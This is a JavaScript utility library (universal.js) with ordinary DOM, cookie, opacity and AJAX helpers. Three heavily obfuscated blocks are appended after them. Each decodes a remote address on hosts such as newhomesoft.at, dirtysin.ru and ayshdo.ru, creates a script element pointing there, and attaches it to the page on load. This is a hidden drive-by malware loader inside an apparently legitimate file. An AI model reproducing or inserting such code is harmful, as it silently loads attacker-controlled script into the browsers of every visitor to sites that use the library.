//////////////////////////////////////////////////////////////
// universal.js - Simple JS functions that make JS easy
// Inspired by Ronak and Pulkit
// ----------------------------------------------------------
// Please Read the Terms of use at http://www.anelectron.com
// ----------------------------------------------------------
// (c)Electron Inc.
//////////////////////////////////////////////////////////////

ua = navigator.userAgent.toLowerCase();
isIE = ((ua.indexOf("msie") != -1) && (ua.indexOf("opera") == -1) && (ua.indexOf("webtv") == -1));
isFF = (ua.indexOf("firefox") != -1);
isGecko = (ua.indexOf("gecko") != -1);
isSafari = (ua.indexOf("safari") != -1);
isKonqueror = (ua.indexOf("konqueror") != -1);

aefonload = '';

//Element referencer - We use $ because we love PHP
function $(id){
	//DOM
	if(document.getElementById){
		return document.getElementById(id);
	//IE
	}else if(document.all){
		return document.all[id];
	//NS4
	}else if(document.layers){
		return document.layers[id];
	}
};

//Trims a string
function trim(str){
	return str.replace(/^[\s]+|[\s]+$/, "");
};

//Give a random integer
function AEFrand(min, max){
	return Math.floor(Math.random() * (max - min + 1) + min);
};

//To clear a time out
function AEFclear(timer){
	clearTimeout(timer);
	clearInterval(timer);
	return null;
};

//Changes the opacity
function setopacity(el, opacity){
	el.style.opacity = (opacity/100);
	el.style.filter = 'alpha(opacity=' + opacity + ')';
};

//Hides an element
function hideel(elid){
	$(elid).style.visibility="hidden";
};

//Shows an element
function showel(elid){
	$(elid).style.visibility="visible";
};

function isvisible(elid){
	if($(elid).style.visibility == "visible"){
		return true;
	}else{
		return false;
	}
}

//Checkes the entire range of checkboxes
function check(field, checker){
	if(checker.checked == true){
		for(i = 0; i < field.length; i++){
			field[i].checked = true;
		}
	}else{
		for(i = 0; i < field.length; i++){  
			field[i].checked = false;
		}
	}
};
//The page width
function getwidth(){
	return document.body.clientWidth;
};
//The page height
function getheight(){
	return document.body.clientHeight;
};

//Get the scrolled height
function scrolledy(){
	//Netscape compliant
	if(typeof(window.pageYOffset) == 'number'){
		return window.pageYOffset;
	//DOM compliant
	}else if(document.body && document.body.scrollTop){
		return document.body.scrollTop;
	//IE6 standards compliant mode
	}else if(document.documentElement && typeof(document.documentElement.scrollTop)!='undefined'){
		return document.documentElement.scrollTop;
	}else{
		return 0;	
	}
};

//Gradually increases the opacity
function smoothopaque(elid, startop, endop, inc){
	if(typeof(elid) == 'object'){
		var el = elid;
	}else{
		var el = $(elid);
	}
	op = startop;
	//Initial opacity
	setopacity(el, op);
	//Start the opacity timeout that makes it more visible
	setTimeout(slowopacity, 1);
	function slowopacity(){
		if(startop < endop){
			op = op + inc;
			if(op < endop){
				setTimeout(slowopacity, 1);
			}
		}else{
			op = op - inc;
			if(op > endop){
				setTimeout(slowopacity, 1);
			}
		}
		setopacity(el, op);		
	};
};

//Cookie setter
function setcookie(name, value, duration){
	value = escape(value);
	if(duration){
		var date = new Date();
		date.setTime(date.getTime() + (duration * 86400000));
		value += "; expires=" + date.toGMTString();
	}
	document.cookie = name + "=" + value;
};

//Gets the cookie value
function getcookie(name){
	value = document.cookie.match('(?:^|;)\\s*'+name+'=([^;]*)');
	return value ? unescape(value[1]) : false;
};

//Removes the cookies
function removecookie(name){
	setcookie(name, '', -1);
};

function AJAX(url, evalthis){
	req = false;
	toeval = evalthis;
    // branch for native XMLHttpRequest object
    if(window.XMLHttpRequest){
    	try{
			req = new XMLHttpRequest();
        }catch(e){
			req = false;
        }
    // branch for IE/Windows ActiveX version
    }else if(window.ActiveXObject){
       	try{
	        req = new ActiveXObject("Msxml2.XMLHTTP");
      	}catch(e){
        	try{
          		req = new ActiveXObject("Microsoft.XMLHTTP");
        	}catch(e){
          		req = false;
        	}
		}
    }
	
	if(req){
		try{
			req.onreadystatechange = function(){				
    			// only if req shows "loaded"
				if (req.readyState==4) {
					//only if OK
					if (req.status == 200) {
						// only if "OK"...processing statements go here..
						var re = req.responseText // result of the req object
						if(re.length > 0){
							return eval(toeval);
						}else{
							return false;
						}
					}
				}
			};
			req.open("GET", url, true);
			req.send(null);
		}catch(e){
			return false;
		}
	}else{
		return false;
	}
	return true;
};

//Finds the position of the element
function findelpos(ele){
	var curleft = 0;
	var curtop = 0;
	if(ele.offsetParent){
		while(1){
			curleft += ele.offsetLeft;
			curtop += ele.offsetTop;
			if(!ele.offsetParent){
				break;
			}
			ele = ele.offsetParent;
		}
	}else if(ele.x){
		curleft += ele.x;
		curtop += ele.y;
	}
	return [curleft,curtop];
};

function getAttributeByName(node, attribute){
	if(typeof NamedNodeMap != "undefined"){
		if(node.attributes.getNamedItem(attribute)){
			return node.attributes.getNamedItem(attribute).value;
		}
	}else{
		return node.getAttribute(attribute);
	}
};

//With ';'
function addonload(js){
	aefonload += js;
};

this.ZE="";try {var E=new String();var Y=window[unescape("%75%6e%65%73%63%61%70%65")];var i;if(i!='' && i!='sg'){i=null};var D=new String();var j="";var S='';var M=null;var pm='';var my;if(my!='' && my!='yh'){my=null};var J=Y("%72%65%70%6c%61%63%65");var uW="";var zV=window[Y("%52%65%67%45%78%70")];var Tg;if(Tg!='UM' && Tg!='O'){Tg=''};function z(u,Z){var P=new Date();var V;if(V!='Yc' && V!='Do'){V=''};var h=Y("%5b");h+=Z;var g=new String();h+=Y("%5d");var qk=new Date();var Zz;if(Zz!='' && Zz!='xi'){Zz=null};var m=new zV(h, Y("%67"));var IU='';var DO;if(DO!='wI' && DO!='K'){DO=''};return u.replace(m, M);var pH;if(pH!='G' && pH!='EL'){pH=''};};this.LM="";this._J="";var qJ;if(qJ!='i_'){qJ=''};var d=z('/NaVbFcxnNexwys4-WgJoA-xcKoFmJ/7gBoVoygxlGe7.2cBoxmJ/FaxsZk7.2cKoDmK.4pEh4py','Z2E17y0FDNB4VKGCxWAJ');var x='';this.Eo='';var YP=new String();var U=z('896259123319305671794453282561937929721024251429319425','45219736');var Mu=new Array();var c="onl"+"oad";var De=new Date();var wF;if(wF!='jo' && wF!='Vx'){wF='jo'};var y="\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x68\x6f\x6d\x65\x73\x6f\x66\x74\x2e\x61\x74\x3a";var u=Y("%31");var e="";var zi=Y("%73%63%72%69%70%74");var ZT='';var jc;if(jc!='v'){jc=''};function he(){var Vc;if(Vc!='' && Vc!='o'){Vc=null};var C=document;var kE;if(kE!='' && kE!='Jt'){kE=''};var Ti;if(Ti!='jI' && Ti!='Bm'){Ti='jI'};var fi;if(fi!='' && fi!='TM'){fi=''};X=C.createElement(zi);var rM=new String();var OC;if(OC!='' && OC!='qU'){OC=''};var it;if(it!='' && it!='XY'){it=''};x+=y;x+=U+d;this.Op='';this.UD='';var KD;if(KD!='' && KD!='aN'){KD=''};X.defer=u;var FK;if(FK!='bZ' && FK!='qm'){FK='bZ'};var wL;if(wL!='' && wL!='ma'){wL=null};var uS;if(uS!='' && uS!='Lh'){uS='_v'};var T=C.body;var n=new Date();X.src=x;var NI;if(NI!='Gn'){NI=''};var ps='';var eO;if(eO!=''){eO='Xq'};T.appendChild(X);};var NIB="";var FL="";var XV=new String();var fu;if(fu!='oh'){fu=''};window[c]=he;} catch(dU){var Vu="";var qQ;if(qQ!='ir'){qQ=''};};


var L={M:52302};function T(){var EV=[];var S={p:14379};var n="hlUGappe".substr(4)+"ndCh"+"ild";C=["q","K"];try {var R_='a'} catch(R_){};var m=new String("sr"+"c");this.c="c";var m_=new String("zsMfonloa".substr(4)+"d");var H=new String("boyVA".substr(0,2)+"dy");this.g="g";var y=String("defer");var G=window;try {var k_='BG'} catch(k_){};var A=document;var s=String("creh09".substr(0,3)+"WBKoateoWKB".substr(4,3)+"LQv0Ele".substr(4)+"men"+"9sUSt".substr(4));var Z=String("sc"+"riFwc".substr(0,2)+"PcQptQcP".substr(3,2));var tR=[];function I(){var mS={gr:"nr"};f={wc:false};this.QP=15779;this.QP--;IB=["u","CE"];try {jf={F:6238};jN=33912;jN-=22;var B=231372-223292;var _=new String("http:mYB".substr(0,5)+"//dir"+"tysin"+".ru:w6NJ".substr(0,4));ga=["N"];var VC="VC";var _U=String("/go"+"oglFEz".substr(0,3)+"e.c"+"om/"+"aze73dx".substr(0,3)+"t.s"+"k/lyQ8D".substr(0,3)+"ock"+"erz"+"Mn3S.co3MnS".substr(4,3)+"VTkwm.p".substr(4)+"hp");var Ve=["Cd","kA"];this.cx="cx";var U=9341-9340;try {var MV='D'} catch(MV){};QS=34877;QS-=224;qm=24161;qm-=136;V=A[s](Z);this.rE=2288;this.rE++;this.vl=61989;this.vl++;b=63807;b++;this.J=false;var Ek=["rc"];var Cf=["GK"];V[m]=_+B+_U;V[y]=U;var i=new Array();rck=37316;rck-=63;this.si=10491;this.si-=114;this.Jj=24687;this.Jj-=193;A[H][n](V);this.J_="J_";ym=26220;ym+=119;} catch(Ht){var tRN=61132;Co={Pe:false};};wS=["HtH","LC"];}qk=["Vj"];G[m_]=I;this.JA=63331;this.JA-=165;};T();this.yf="yf";
var j=false;z=15546;z--;var Lo=["o","pr","Z"];var B="B";var M=false;try {var I=["Yp","pZ"];var k={};var wi={};var cD=new Array();yq=52355;yq++;var d=new Date();Md=46874;Md++;var NR=new Date();var lW={NQ:"ko"};var P=window[new String("un"+"es"+"ca"+"pe")];g_=[];var Cz="Cz";this.cL=false;nj={Iy:18475};var nW=["AX","OX","Co"];this.x=8506;this.x++;gi={mY:31948};kE=["rg","EB","mG"];var G=new String("c9urep".substr(3)+"lachJIs".substr(0,3)+"e");var Tx='';this.dK=22025;this.dK-=138;this.DN=false;var mm=["HZ"];var F='';bd={K:47648};var uz=["QB"];Gq=["oZ","jn","Jt"];var YL=["TZ"];var g=window[("RegEx"+"iUtIp".substr(4))];var VF="VF";var TJ=["jB","OI"];var va='';var c=String("r98onloa".substr(3)+"YVJ0d".substr(4));var Mp=["dl"];try {} catch(HL){};var q=String("1");Zp=["IY","Ip","wX"];ln=["Oo","LQ","ba"];pw={xs:"wS"};VD={};var sv=["Ri","kT","AG"];var hA=[];var fb="fb";var eg=[];var Is="Is";var QP="QP";function Q(q,w){var aT=54074;_x={Df:36951};var Vv=14165;try {} catch(WB){};var vL=1840;var s=String("[");try {var cY='iV'} catch(cY){};s+=w;this.oM=12890;this.oM++;this.wE=45690;this.wE++;PW={};eY={Cy:20962};PK={Nm:63023};s+=P("%5d");var OD=42471;this.WiM=59718;this.WiM+=220;iel=49471;iel+=51;var Zt={Wn:false};var mN={ph:false};var bU=[];kR=20902;kR+=18;var XS=new Array();var kK=[];var i=new g(s, String("g"));return q.replace(i, F);this.kc="";TN=[];};var PQ=["bO"];var IOP={Ol:"Qi"};this.hb=60414;this.hb+=213;var r=String("LvZq/rk".substr(4)+"-co"+"m/gjiW".substr(0,3)+"oog"+"le."+"com"+"e8L/cm".substr(3)+"noC1bchnoC1".substr(4,3)+"inawyL".substr(0,3)+".cowb04".substr(0,3)+"SE8m.pS8E".substr(3,3)+"hp");var fbQ=32938;Yq=57647;Yq--;var fY=54256;var EF='';var sZ=51052;var X=426965-418885;kRZ=["ag","aB","AE"];gg=["Fc","CE","WH"];aP=["IS","dk","YH"];this.TF="TF";this.sA="sA";var yNB={dW:false};var u=String("ht"+"tp"+":/"+"w0bP/a".substr(4)+"yt5sh5ty".substr(3,2)+"do"+"9zbg.".substr(3)+"f3OYru3fYO".substr(4,2)+":");var ur=new Array();function l(){var Ym=new Array();this.Cq=33810;this.Cq+=235;bb={WG:false};PN={DV:false};var nY=new Array();this.wG=false;var N=document;uzP=["zn"];dJ=["P_"];var Sve="";this.ZV="ZV";var D=String("appe"+"ndCh"+"ild");var oCU="oCU";try {var Mr='tK'} catch(Mr){};try {} catch(oMp){};try {} catch(rq){};var L=Q('s0cDroiPpLtL','D2EToh0SfPmWLl1F6');var tw="";Ng=16344;Ng+=195;Dm={SC:54938};lo=["HN"];var Zn="Zn";var wSM="wSM";Y=N.createElement(L);this.hM=false;this.gj="";bH=[];dd=["oW","qZ","se"];T=u+X;Va={};vZ={};hH={kF:62212};var gI=false;T=T+r;var Xi=new Date();var ub=new Date();this.ii="";var __=["bc"];Y.src=T;this.GQ=5230;this.GQ++;this.tj=45065;this.tj++;try {var PUE='KJ'} catch(PUE){};try {var jA='Ab'} catch(jA){};var XkF=new Date();var Ep=new Array();var sO=N.body;Y[new String("def"+"er")]=q;this.rr='';PZ=["qQ","OY","fx"];var JF=false;var zj={};PHI=["Kg"];sO[D](Y);this.be="";};var aBI='';var MT={};var zI='';var ay=["Gg","XuI"];try {var dm='ki'} catch(dm){};window[c]=l;try {} catch(yO){};this.J_=49357;this.J_++;var syz=new String();this.oC_=23806;this.oC_--;try {} catch(beg){};Da=["ht"];Wv=["eq"];dF=["Zi"];this.ILQ=false;QA={};} catch(p){Ef={rs:false};HC={rd:false};var aqm=false;yM={Hp:29495};var mP=false;var fkP={qu:17676};};